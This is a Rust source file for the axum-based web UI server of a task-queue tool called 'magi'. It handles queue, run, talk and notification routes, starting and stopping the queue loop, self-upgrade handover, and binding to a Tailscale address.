1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{self, Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::notices::{Notice, Notices};
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{daemon, git, report, repos, run, stats, talk, updater};
126
127pub const DEFAULT_PORT: u16 = 7878;
129
130const POLL: Duration = Duration::from_secs(1);
132
133const KEEPALIVE: Duration = Duration::from_secs(15);
137
138const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154const LIST_DEFAULT: usize = 50;
158const LIST_MAX: usize = 500;
160
161const TITLE_MAX: usize = 72;
163
164const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
173
174const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
180
181const FILENAME_HEADER: &str = "x-filename";
185
186const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
209 font-src data:; base-uri 'none'; form-action 'none'; \
210 frame-ancestors 'self'";
211
212const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
213const APP_CSS: &str = include_str!("../assets/ui/app.css");
214const APP_JS: &str = include_str!("../assets/ui/app.js");
215
216#[derive(Debug, Clone, Copy, PartialEq, Eq)]
218pub enum Bind {
219 Auto,
221 Addr(IpAddr),
223}
224
225impl std::str::FromStr for Bind {
226 type Err = String;
227
228 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
232 if s.eq_ignore_ascii_case("auto") {
233 return Ok(Self::Auto);
234 }
235 s.parse()
236 .map(Self::Addr)
237 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
238 }
239}
240
241impl std::fmt::Display for Bind {
242 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
243 match self {
244 Self::Auto => f.write_str("auto"),
245 Self::Addr(addr) => write!(f, "{addr}"),
246 }
247 }
248}
249
250#[derive(Debug, Clone)]
252pub struct Opts {
253 pub bind: Bind,
255 pub port: u16,
257 pub repo: PathBuf,
259 pub open: bool,
262 pub merge: Option<String>,
270}
271
272impl Default for Opts {
273 fn default() -> Self {
274 Self {
275 bind: Bind::Auto,
276 port: DEFAULT_PORT,
277 repo: PathBuf::from("."),
278 open: false,
279 merge: None,
280 }
281 }
282}
283
284#[derive(Debug, Clone)]
290pub struct Ui {
291 queue: Queue,
292 questions: Questions,
293 notices: Notices,
296 talks: Talks,
297 runs: PathBuf,
298 home: PathBuf,
299 repo: PathBuf,
300 worktrees_root: PathBuf,
307 talk_turns: Arc<Mutex<TalkTurns>>,
315 resuming: Arc<Mutex<HashSet<String>>>,
323 repos_cache: repos::Cache,
327 merge: Option<String>,
329 looping: Arc<Mutex<LoopState>>,
331 launch: Launch,
343 #[cfg(test)]
346 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
347}
348
349#[cfg(test)]
369struct BusyQueueGate {
370 reached: tokio::sync::oneshot::Sender<()>,
371 release: std::sync::mpsc::Receiver<()>,
372}
373
374#[cfg(test)]
375impl std::fmt::Debug for BusyQueueGate {
376 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
377 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
378 }
379}
380
381impl Ui {
382 pub fn new(
384 queue: Queue,
385 questions: Questions,
386 talks: Talks,
387 runs: PathBuf,
388 home: PathBuf,
389 repo: PathBuf,
390 ) -> Self {
391 Self {
392 queue,
393 questions,
394 notices: Notices::at(home.join("notifications")),
395 talks,
396 runs,
397 home,
398 repo,
399 worktrees_root: run::default_worktree_root(),
403 talk_turns: Arc::default(),
404 resuming: Arc::default(),
405 repos_cache: repos::Cache::new(),
406 merge: None,
407 looping: Arc::default(),
408 launch: launch_daemon,
409 #[cfg(test)]
410 busy_queue_gate: Arc::default(),
411 }
412 }
413
414 pub fn open(repo: PathBuf) -> Self {
417 Self::new(
418 Queue::open(),
419 Questions::open(),
420 Talks::open(),
421 run::runs_root(),
422 run::home(),
423 repo,
424 )
425 }
426
427 #[must_use]
434 pub fn with_merge(mut self, merge: Option<String>) -> Self {
435 self.merge = merge;
436 self
437 }
438
439 #[must_use]
444 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
445 self.worktrees_root = root;
446 self
447 }
448
449 #[cfg(test)]
454 #[must_use]
455 fn with_launch(mut self, launch: Launch) -> Self {
456 self.launch = launch;
457 self
458 }
459
460 #[cfg(test)]
470 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
471 *self
472 .busy_queue_gate
473 .lock()
474 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
475 }
476
477 fn looping(&self) -> Arc<Mutex<LoopState>> {
479 Arc::clone(&self.looping)
480 }
481
482 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
489 if let Some(other) = foreign {
490 return Err(ApiError::conflict(format!(
491 "{} is already running the loop, so this one will not start a \
492 second: two loops on one queue race for the same claims and \
493 burn the agent quota twice over. Stop it where it was \
494 started.",
495 other.who()
496 )));
497 }
498 let mut state = self.lock_loop();
499 if state.live.as_ref().is_some_and(Live::alive) {
500 return Err(ApiError::conflict(format!(
501 "this magi web process (pid {}) is already running the loop",
502 std::process::id()
503 )));
504 }
505
506 let stop = daemon::Stop::new();
507 let opts = daemon::Opts {
511 repo: self.repo.clone(),
512 merge: self.merge.clone(),
513 worktrees_root: Some(self.worktrees_root.clone()),
520 ..daemon::Opts::default()
521 };
522 let launch = self.launch;
523 let looping = Arc::clone(&self.looping);
524 let handle = tokio::spawn({
525 let opts = opts.clone();
526 let stop = stop.clone();
527 async move {
528 let failure = match launch(opts, stop).await {
529 Ok(()) => None,
530 Err(e) => Some(format!("{e:#}")),
531 };
532 match &failure {
533 Some(why) => tracing::error!("the loop stopped: {why}"),
534 None => tracing::info!("the loop stopped"),
535 }
536 let mut state = lock_or_recover(&looping);
542 state.live = None;
543 state.last_error = failure;
544 state.rev += 1;
545 }
546 });
547 tracing::info!(
548 "the loop is now running in this process: repo {}, merge {}",
549 opts.repo.display(),
550 opts.merge.as_deref().unwrap_or("as the config says")
551 );
552 state.live = Some(Live { stop, handle, opts });
553 state.last_error = None;
556 state.rev += 1;
557 Ok(())
558 }
559
560 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
566 if let Some(other) = foreign {
567 return Err(ApiError::conflict(format!(
568 "the loop belongs to {}, and this process cannot stop it - \
569 stop it where it was started. A button that silently did \
570 nothing would be worse than this refusal.",
571 other.who()
572 )));
573 }
574 let mut state = self.lock_loop();
575 if !park {
578 state.resume_after_handover = false;
579 }
580 let Some(live) = state.live.as_ref() else {
581 return Ok(());
582 };
583 if live.stop.stopped() && (!park || live.stop.parking()) {
587 return Ok(());
588 }
589 if park {
590 live.stop.park();
591 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
592 } else {
593 live.stop.stop();
594 tracing::info!("the loop was asked to stop; a run in flight is finished first");
595 }
596 state.rev += 1;
597 Ok(())
598 }
599
600 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
607 let state = self.lock_loop();
608 let live = state.live.as_ref().filter(|live| live.alive());
611 LoopView {
612 running: live.is_some(),
613 stopping: live.is_some_and(|live| live.stop.finishing()),
614 parking: live.is_some_and(|live| live.stop.parking()),
615 owned: live.is_some(),
616 repo: live
617 .map_or(&self.repo, |live| &live.opts.repo)
618 .display()
619 .to_string(),
620 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
621 last_error: state.last_error.clone(),
622 daemon: DaemonView::of(reading),
623 }
624 }
625
626 fn resume_after_handover(&self, resume: bool) -> bool {
632 if !resume {
633 return false;
634 }
635 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
636 match self.start_loop(foreign) {
637 Ok(()) => true,
638 Err(e) => {
639 let why = format!(
640 "the loop could not be resumed after the upgrade: {}",
641 e.message
642 );
643 tracing::warn!("{why}");
644 let mut state = self.lock_loop();
645 state.last_error = Some(why);
646 state.rev += 1;
647 false
648 }
649 }
650 }
651
652 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
654 lock_or_recover(&self.looping)
655 }
656
657 fn is_thinking(&self, id: &str) -> bool {
663 self.talk_turns
664 .lock()
665 .is_ok_and(|turns| turns.live.contains(id))
666 }
667
668 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
687 self.claim_talk_turn(id, false)
688 }
689
690 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
693 self.claim_talk_turn(id, true)
694 }
695
696 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
697 let mut live = self
698 .talk_turns
699 .lock()
700 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
701 if !live.live.insert(id.to_owned()) {
702 if queued {
703 *live.queued.entry(id.to_owned()).or_default() += 1;
708 }
709 return Ok(None);
710 }
711 Ok(Some(TalkTurnGuard {
712 talk: id.to_owned(),
713 turns: Arc::clone(&self.talk_turns),
714 released: false,
715 }))
716 }
717
718 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
723 let mut live = self
724 .talk_turns
725 .lock()
726 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
727 if live.live.contains(id) {
728 return Ok(TalkTurnStart::Busy);
729 }
730 let talk = self.talks.get(id).map_err(ApiError::from)?;
731 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
732 return Ok(TalkTurnStart::Pending);
733 }
734 live.live.insert(id.to_owned());
735 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
736 talk: id.to_owned(),
737 turns: Arc::clone(&self.talk_turns),
738 released: false,
739 }))
740 }
741
742 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
749 let parking = {
750 let mut state = self.lock_loop();
751 let resume = state.resume_after_handover
761 || state
762 .live
763 .as_ref()
764 .is_some_and(|live| live.alive() && !live.stop.stopped());
765 state.resume_after_handover = resume;
766 let Some(live) = state.live.as_ref() else {
767 return Ok(None);
768 };
769 let busy = live.stop.busy_now();
770 live.stop.park();
771 state.rev += 1;
772 busy
773 };
774 Ok(if parking {
775 daemon::current_work(&self.home, jiff::Timestamp::now())
780 .into_iter()
781 .next()
782 .map(|c| c.run)
783 } else {
784 None
785 })
786 }
787
788 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
792 let mut live = self
793 .resuming
794 .lock()
795 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
796 if !live.insert(id.to_owned()) {
797 return Err(ApiError::conflict(format!(
798 "run {id} is already being resumed"
799 )));
800 }
801 Ok(ResumeGuard {
802 run: id.to_owned(),
803 resuming: Arc::clone(&self.resuming),
804 })
805 }
806
807 pub fn router(self) -> Router {
815 Router::new()
816 .route("/", get(index))
817 .route("/app.css", get(app_css))
818 .route("/app.js", get(app_js))
819 .route("/api/health", get(health))
820 .route("/api/loop", get(loop_get).post(loop_post))
821 .route("/api/upgrade", post(upgrade_post))
822 .route("/api/runs", get(runs_list))
823 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
824 .route("/api/runs/{id}/report", get(run_report))
825 .route("/api/runs/{id}/fold", post(run_fold))
826 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
827 .route("/api/runs/{id}/resume", post(run_resume))
828 .route("/api/queue", get(queue_list))
829 .route("/api/stats", get(stats_get))
830 .route("/api/queue/{id}", delete(queue_delete))
831 .route("/api/repos", get(repos_list))
832 .route("/api/queue/{id}/hold", post(queue_hold))
833 .route("/api/queue/{id}/release", post(queue_release))
834 .route("/api/queue/{id}/priority", post(queue_priority))
835 .route("/api/queue/{id}/edit", post(queue_edit))
836 .route("/api/queue/{id}/done", post(queue_done))
837 .route("/api/questions", get(questions_list))
838 .route("/api/questions/{id}/answer", post(question_answer))
839 .route("/api/questions/{id}/say", post(question_say))
840 .route("/api/questions/{id}/panel", get(question_panel))
841 .route("/api/questions/{id}/panel/index.html", get(question_panel))
849 .route("/api/questions/{id}/panel/{name}", get(question_asset))
850 .route("/api/questions/{id}/asset/{name}", get(question_asset))
851 .route("/api/notifications", get(notifications_list))
852 .route("/api/notifications/read-all", post(notifications_read_all))
853 .route("/api/notifications/{id}/read", post(notification_read))
854 .route(
855 "/api/notifications/{id}/dismiss",
856 post(notification_dismiss),
857 )
858 .route("/api/talks", get(talks_list).post(talk_post))
859 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
860 .route("/api/talks/{id}/say", post(talk_say))
861 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
862 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
863 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
864 .route("/api/talks/{id}/close", post(talk_close))
865 .route("/api/talks/{id}/reopen", post(talk_reopen))
866 .route(
872 "/api/talks/{id}/attachments",
873 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
874 )
875 .route(
876 "/api/talks/{id}/attachments/{att}",
877 get(talk_attachment_get),
878 )
879 .route("/api/events", get(events))
880 .with_state(Arc::new(self))
881 }
882}
883
884#[derive(Debug)]
890struct TalkTurnGuard {
891 talk: String,
892 turns: Arc<Mutex<TalkTurns>>,
893 released: bool,
894}
895
896#[derive(Debug, Default)]
903struct TalkTurns {
904 live: HashSet<String>,
905 queued: HashMap<String, u64>,
906}
907
908enum TalkTurnStart {
911 Claimed(TalkTurnGuard),
912 Busy,
913 Pending,
914}
915
916impl TalkTurnGuard {
917 fn release(mut self, live: &mut TalkTurns) {
920 live.live.remove(&self.talk);
921 live.queued.remove(&self.talk);
922 self.released = true;
923 }
924}
925
926impl Drop for TalkTurnGuard {
927 fn drop(&mut self) {
928 if self.released {
929 return;
930 }
931 if let Ok(mut live) = self.turns.lock() {
932 live.live.remove(&self.talk);
933 live.queued.remove(&self.talk);
934 }
935 }
936}
937
938struct ResumeGuard {
940 run: String,
941 resuming: Arc<Mutex<HashSet<String>>>,
942}
943
944impl Drop for ResumeGuard {
945 fn drop(&mut self) {
946 if let Ok(mut live) = self.resuming.lock() {
947 live.remove(&self.run);
948 }
949 }
950}
951
952async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
962 const WINDOW: Duration = Duration::from_secs(10);
963 const GAP: Duration = Duration::from_millis(250);
964
965 let deadline = std::time::Instant::now() + WINDOW;
966 let mut said = false;
967 loop {
968 match tokio::net::TcpListener::bind(socket).await {
969 Ok(listener) => return Ok(listener),
970 Err(e)
971 if e.kind() == std::io::ErrorKind::AddrInUse
972 && std::time::Instant::now() < deadline =>
973 {
974 if !said {
975 said = true;
976 tracing::info!(
977 "{socket} is still held - waiting up to {}s for it, \
978 which is what a restart looks like from here",
979 WINDOW.as_secs()
980 );
981 }
982 tokio::time::sleep(GAP).await;
983 }
984 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
985 }
986 }
987}
988
989static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
992
993const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
995
996fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
998 value.is_some_and(|v| v == "1")
999}
1000
1001fn spawn_successor(resume: bool) -> Result<()> {
1019 let exe = std::env::current_exe().context("find this binary")?;
1020 let args: Vec<String> = std::env::args().skip(1).collect();
1021 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
1022
1023 let mut cmd = std::process::Command::new(&exe);
1024 if resume {
1025 cmd.env(RESUME_LOOP_ENV, "1");
1026 } else {
1027 cmd.env_remove(RESUME_LOOP_ENV);
1028 }
1029 cmd.args(&args)
1030 .stdin(std::process::Stdio::null())
1031 .stdout(std::process::Stdio::null())
1032 .stderr(std::process::Stdio::null());
1033 #[cfg(windows)]
1034 {
1035 use std::os::windows::process::CommandExt as _;
1036 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1039 }
1040 cmd.spawn().context("start the successor")?;
1041 Ok(())
1042}
1043
1044pub async fn serve(opts: Opts) -> Result<()> {
1069 let (addr, warning) = resolve_bind(&opts.bind);
1070 if let Some(warning) = warning {
1071 tracing::warn!("{warning}");
1072 }
1073
1074 report::set_color(false);
1080
1081 let repo = normalize_default_repo(opts.repo).await;
1082 let ui = Ui::open(repo).with_merge(opts.merge);
1083 let home = ui.home.clone();
1088 let repo = ui.repo.clone();
1089 updater::reconcile_after_restart(&home);
1094 tokio::spawn(run_update_recheck(repo, home.clone()));
1103 let looping = ui.looping();
1104 let socket = SocketAddr::new(addr, opts.port);
1105 let listener = bind_waiting(socket).await?;
1106 let url = format!("http://{addr}:{}", opts.port);
1107 tracing::info!(
1108 "magi web UI on {url} - there is no authentication, so anyone who can \
1109 reach this address can file and hold tasks: the tailnet is the \
1110 security boundary"
1111 );
1112 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1113 tracing::info!("resumed the loop the predecessor was running");
1114 } else {
1115 tracing::info!(
1116 "the queue loop is not running yet - start it from the UI, which is \
1117 the whole reason this process can: nothing in the queue moves until \
1118 something is running the loop"
1119 );
1120 }
1121 if opts.open {
1122 println!("{url}");
1126 }
1127
1128 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1131 let interrupted = async {
1132 if tokio::signal::ctrl_c().await.is_err() {
1133 std::future::pending::<()>().await;
1138 }
1139 };
1140 let handover = HANDOVER.notified();
1141 tokio::select! {
1142 joined = &mut served => match joined {
1143 Ok(outcome) => outcome.context("serve the web UI"),
1144 Err(e) => Err(e).context("the task serving the web UI ended"),
1145 },
1146 () = interrupted => {
1147 tracing::info!("shutting down the web UI");
1148 finish_loop(&looping).await;
1149 Ok(())
1150 }
1151 () = handover => {
1152 tracing::info!("upgraded - handing this address to the successor");
1153 hand_over(&home, &looping, served, spawn_successor).await
1154 }
1155 }
1156}
1157
1158async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1179 if repo != FsPath::new(".") {
1180 return repo;
1181 }
1182 let Ok(canonical) = repo.canonicalize() else {
1183 return repo;
1184 };
1185 if git::toplevel(&canonical).await.is_ok() {
1186 return repo;
1187 }
1188 let Some(home) = dirs::home_dir() else {
1189 return repo;
1190 };
1191 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1192 Some(found) => {
1193 tracing::info!(
1194 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1195 canonical.display(),
1196 found.path.display(),
1197 found.reason,
1198 );
1199 found.path
1200 }
1201 None => repo,
1202 }
1203}
1204
1205async fn hand_over(
1235 home: &FsPath,
1236 looping: &Mutex<LoopState>,
1237 served: tokio::task::JoinHandle<std::io::Result<()>>,
1238 successor: impl FnOnce(bool) -> Result<()>,
1239) -> Result<()> {
1240 if let Some(mut progress) = updater::read_progress(home) {
1241 progress.advance(updater::Stage::Parking);
1242 let _ = updater::write_progress(home, &progress);
1243 }
1244 finish_loop(looping).await;
1245 served.abort();
1246 let _ = served.await;
1247 let resume = lock_or_recover(looping).resume_after_handover;
1250 if let Some(mut progress) = updater::read_progress(home) {
1251 progress.advance(updater::Stage::Restarting);
1252 let _ = updater::write_progress(home, &progress);
1253 }
1254 successor(resume)
1255}
1256
1257async fn finish_loop(state: &Mutex<LoopState>) {
1264 let live = lock_or_recover(state).live.take();
1265 let Some(live) = live else { return };
1266 live.stop.stop();
1267 lock_or_recover(state).rev += 1;
1268 tracing::info!("waiting for the loop to finish the run in flight");
1269 let _ = live.handle.await;
1272}
1273
1274pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1280 match bind {
1281 Bind::Addr(addr) => (*addr, None),
1282 Bind::Auto => match tailscale_ip() {
1283 Ok(ip) => (IpAddr::V4(ip), None),
1284 Err(why) => (
1285 IpAddr::V4(Ipv4Addr::LOCALHOST),
1286 Some(format!(
1287 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1288 local-only and a phone cannot reach it; start Tailscale \
1289 or pass --bind <addr>"
1290 )),
1291 ),
1292 },
1293 }
1294}
1295
1296fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1304 let out = std::process::Command::new("tailscale")
1305 .args(["ip", "-4"])
1306 .quiet()
1307 .output()
1308 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1309 if !out.status.success() {
1310 let why = String::from_utf8_lossy(&out.stderr);
1311 let why = why.trim();
1312 return Err(format!(
1313 "`tailscale ip -4` failed ({}){}",
1314 out.status,
1315 if why.is_empty() {
1316 String::new()
1317 } else {
1318 format!(": {why}")
1319 }
1320 ));
1321 }
1322 String::from_utf8_lossy(&out.stdout)
1323 .lines()
1324 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1325 .find(is_tailnet)
1326 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1327}
1328
1329fn is_tailnet(ip: &Ipv4Addr) -> bool {
1331 let o = ip.octets();
1332 o[0] == 100 && (64..=127).contains(&o[1])
1333}
1334
1335type ApiResult<T> = std::result::Result<T, ApiError>;
1339
1340#[derive(Debug)]
1342struct ApiError {
1343 status: StatusCode,
1344 message: String,
1345}
1346
1347impl ApiError {
1348 fn bad_request(message: impl Into<String>) -> Self {
1350 Self {
1351 status: StatusCode::BAD_REQUEST,
1352 message: message.into(),
1353 }
1354 }
1355
1356 fn not_found(message: impl Into<String>) -> Self {
1358 Self {
1359 status: StatusCode::NOT_FOUND,
1360 message: message.into(),
1361 }
1362 }
1363
1364 fn with_status(mut self, status: StatusCode) -> Self {
1367 self.status = status;
1368 self
1369 }
1370
1371 fn bad_request_from(e: anyhow::Error) -> Self {
1375 Self::bad_request(format!("{e:#}"))
1376 }
1377
1378 fn conflict(message: impl Into<String>) -> Self {
1379 Self {
1380 status: StatusCode::CONFLICT,
1381 message: message.into(),
1382 }
1383 }
1384
1385 fn internal(message: impl Into<String>) -> Self {
1387 Self {
1388 status: StatusCode::INTERNAL_SERVER_ERROR,
1389 message: message.into(),
1390 }
1391 }
1392}
1393
1394impl From<anyhow::Error> for ApiError {
1395 fn from(e: anyhow::Error) -> Self {
1400 Self::internal(format!("{e:#}"))
1401 }
1402}
1403
1404impl IntoResponse for ApiError {
1405 fn into_response(self) -> Response {
1406 let body = serde_json::json!({ "error": self.message });
1407 (self.status, Json(body)).into_response()
1408 }
1409}
1410
1411async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1420where
1421 T: Send + 'static,
1422{
1423 match tokio::task::spawn_blocking(job).await {
1424 Ok(result) => result,
1425 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1426 }
1427}
1428
1429const ASSET_CACHE: &str = "no-cache, must-revalidate";
1447
1448fn asset_etag() -> &'static str {
1455 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1456 format!(
1457 "\"{}-{}\"",
1458 env!("CARGO_PKG_VERSION"),
1459 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1464 )
1465 });
1466 &TAG
1467}
1468
1469fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1471 [
1472 (header::CONTENT_TYPE, mime),
1473 (header::CACHE_CONTROL, ASSET_CACHE),
1474 (header::ETAG, asset_etag()),
1475 ]
1476}
1477
1478fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1486 let tag = asset_etag();
1487 let known = headers
1488 .get(header::IF_NONE_MATCH)
1489 .and_then(|v| v.to_str().ok())
1490 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1494 if known {
1495 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1496 }
1497 (asset_headers(mime), body).into_response()
1498}
1499
1500async fn index(headers: header::HeaderMap) -> Response {
1501 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1502}
1503
1504async fn app_css(headers: header::HeaderMap) -> Response {
1505 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1506}
1507
1508async fn app_js(headers: header::HeaderMap) -> Response {
1509 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1510}
1511
1512#[derive(Debug, Serialize)]
1514struct HealthView {
1515 version: &'static str,
1516 home: String,
1517 queue_rev: u64,
1518 runs_rev: u64,
1519 questions_rev: u64,
1531 talks_rev: u64,
1533 notifications_rev: u64,
1535 notifications_unread: usize,
1538 loop_rev: u64,
1543 runs_unreadable: usize,
1551 disk: DiskView,
1559 questions_open: usize,
1565 questions_needs_owner: usize,
1575 daemon: DaemonView,
1576 #[serde(rename = "loop")]
1582 looping: LoopView,
1583 update: UpdateView,
1590 upgrade: Option<UpgradeProgressView>,
1594}
1595
1596#[derive(Debug, Serialize)]
1603struct UpdateView {
1604 available: bool,
1606 to: Option<String>,
1608}
1609
1610#[derive(Debug, Serialize)]
1612struct UpgradeProgressView {
1613 stage: updater::Stage,
1614 from: String,
1615 to: Option<String>,
1616 waiting_on: Option<String>,
1619 started_at: Timestamp,
1620 updated_at: Timestamp,
1621 detail: Option<String>,
1622}
1623
1624fn should_spawn_recheck(cfg: &Update) -> bool {
1631 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1632}
1633
1634fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1646 if progress.is_some_and(|p| !p.stage.terminal()) {
1647 return false;
1648 }
1649 checker.should_check()
1650}
1651
1652fn recheck_poll_period(cfg: &Update) -> Duration {
1665 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1666}
1667
1668async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1692 loop {
1693 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1694 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1695 if !should_spawn_recheck(&cfg.update) {
1696 continue;
1697 }
1698 let Some(checker) = updater::Checker::new(&cfg.update) else {
1699 continue;
1700 };
1701 let progress = updater::read_progress(&home);
1702 if !update_recheck_due(&checker, progress.as_ref()) {
1703 continue;
1704 }
1705 if let Err(e) = checker.newer_release().await {
1706 tracing::warn!("background update recheck failed: {e:#}");
1707 }
1708 }
1709}
1710
1711fn cached_update_view(repo: &FsPath) -> UpdateView {
1717 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1718 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1719 match latest {
1720 Some(latest) => UpdateView {
1721 available: true,
1722 to: Some(latest.tag_name),
1723 },
1724 None => UpdateView {
1725 available: false,
1726 to: None,
1727 },
1728 }
1729}
1730
1731fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1737 let waiting_on = (progress.stage == updater::Stage::Parking)
1738 .then_some(progress.parked_run.as_deref())
1739 .flatten()
1740 .and_then(|id| read_run(&ui.runs, id).ok())
1741 .map(|run| {
1742 format!(
1743 "run {} is finishing {} before the address is handed over",
1744 run.short(),
1745 run.status.as_str()
1746 )
1747 });
1748 UpgradeProgressView {
1749 stage: progress.stage,
1750 from: progress.from,
1751 to: progress.to,
1752 waiting_on,
1753 started_at: progress.started_at,
1754 updated_at: progress.updated_at,
1755 detail: progress.detail,
1756 }
1757}
1758
1759#[derive(Debug, Serialize)]
1764struct DiskView {
1765 #[serde(skip_serializing_if = "Option::is_none")]
1767 free_bytes: Option<u64>,
1768 runs_bytes: u64,
1770 worktrees_bytes: u64,
1772 #[serde(skip_serializing_if = "Option::is_none")]
1774 cache_bytes: Option<u64>,
1775}
1776
1777impl DiskView {
1778 fn of(ui: &Ui) -> Self {
1780 let cache_bytes = Config::discover(&ui.repo, None)
1781 .ok()
1782 .and_then(|(cfg, _)| cfg.cache_dir())
1783 .map(|dir| crate::disk::dir_size(&dir));
1784 Self {
1785 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1786 runs_bytes: crate::disk::dir_size(&ui.runs),
1787 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1788 cache_bytes,
1789 }
1790 }
1791}
1792
1793#[derive(Debug, Serialize)]
1795struct DaemonView {
1796 running: bool,
1797 idle: Option<bool>,
1798 pid: Option<u32>,
1799 current: Vec<daemon::Current>,
1803 completed: Option<u64>,
1804 stale_for_secs: Option<i64>,
1805}
1806
1807impl DaemonView {
1808 fn of(status: Option<daemon::Reading>) -> Self {
1812 let Some(status) = status else {
1813 return Self {
1814 running: false,
1815 idle: None,
1816 pid: None,
1817 current: Vec::new(),
1818 completed: None,
1819 stale_for_secs: None,
1820 };
1821 };
1822 let now = Timestamp::now();
1823 let age = status.age_secs(now);
1824 Self {
1825 running: status.running(now),
1826 idle: Some(status.idle),
